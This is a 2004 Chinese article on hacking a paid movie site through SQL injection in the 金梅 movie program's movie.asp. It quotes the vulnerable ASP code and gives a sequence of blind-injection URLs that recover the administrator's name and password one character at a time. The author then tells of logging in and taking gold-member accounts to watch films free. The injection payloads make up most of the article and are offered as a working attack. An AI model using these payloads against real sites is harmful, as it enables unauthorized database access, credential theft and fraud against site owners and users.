当前位置:首页>>软件教程>>病毒安全>>新闻内容
简单入侵收费电影网站
作者:佚名 发布时间:2004-6-9 21:53:45 文章来源:西部E网
  近日学习sql injection,下载金梅收费电影程序2003会员版看了一通, 发现movie.asp这个文件有问题:
   dim sql

   dim rs

   articleid=request("id")

   set rs=server.createobject("adodb.recordset")

   sql="update learning set hits=hits+1 where articleID="&articleid

   rs.open sql,conn,1,3

   sql="select * from learning where articleid="&articleid

   rs.open sql,conn,1,1

   title=rs("title")

   ittype=rs("typeid")

  没有对变量做任何检查,那就别怪我了,呵呵,找了个目标网站,

  我们开始测试管理员帐号的位数,因为保存管理员帐号的字段名为name,所以语句为:

  http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>4)

  正常返回页面,由此我们可以知道管理员的帐号是大于4位的!

  我们继续,

  http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>

  "无法显示网页",出错了,由此我们可以知道管理员的帐号是大于等于8位的

  我们再来,

  http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)=8)

  正常返回页面,好极了,由此得出

  name为8位

  同样

  http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(pwd)=21)

  正常返回页面

  pwd为21位,TNND的,这么长!

  不管了,我们接下来开始测试管理员的用户名

  http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>50)

  正常返回页面,看来还不够大.

  注:mid函数可以把密码分成若干部分取出,使用方法 mid(字符串,起始位,取出的字符串的长度)

  http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>100)

  "无法显示页面",看来比100还小.

  http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))=100)

  正常返回页面,于是我们可以得到管理员的用户名第一位的asc码为:100

  通过查询asc码表可以得到,

  name的第一位为:d

  接下来顺利的得到了name=darkeyes^

  然后我们开始测试pwd,呼,有21位啊,真是路漫漫其修远啊!:)

  http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>100)

  正常显示页面,再来

  http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>110)

  "无法显示页面",比110小哦,呵呵

  http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))=102)

  正常显示页面,对了,得到

  pwd的第一位为:f

  最后顺利的得到了

  pwd=xyfsdb7ew8y654231123d

  找到管理页面,登录进去,拿了几个黄金会员的帐号,就去慢慢欣赏movies了,呵呵。
最新更新
·getPlusPlus_Adobe.exe是什么
·删除v6677.cn网站修改浏览器
·十大Windows7适用的杀毒软件
·如何去掉ESET NOD32在邮件中
·免费获得诺顿NIS 2010注册码
·Cnups.dll是什么文件,怎样删
·au_.exe文件时病毒吗?怎么样
·卡巴斯基自动更新到100%不动
·自己动手打造U盘版杀毒软件
·让你永久免费使用卡巴斯基的
相关信息
画心
愚爱
偏爱
火苗
白狐
画沙
犯错
歌曲
传奇
稻香
小酒窝
狮子座
小情歌
全是爱
棉花糖
海豚音
我相信
甩葱歌
这叫爱
shero
走天涯
琉璃月
Nobody
我爱他
套马杆
爱是你我
最后一次
少女时代
灰色头像
断桥残雪
美了美了
狼的诱惑
我很快乐
星月神话
心痛2009
爱丫爱丫
半城烟沙
旗开得胜
郎的诱惑
爱情买卖
2010等你来
我叫小沈阳
i miss you
姑娘我爱你
我们都一样
其实很寂寞
我爱雨夜花
变心的玫瑰
犀利哥之歌
你是我的眼
你是我的OK绷
贝多芬的悲伤
哥只是个传说
丢了幸福的猪
找个人来爱我
要嫁就嫁灰太狼
如果这就是爱情
我们没有在一起
寂寞在唱什么歌
斯琴高丽的伤心
别在我离开之前离开
不是因为寂寞才想你
爱上你等于爱上了错
在心里从此永远有个你
一个人的寂寞两个人的错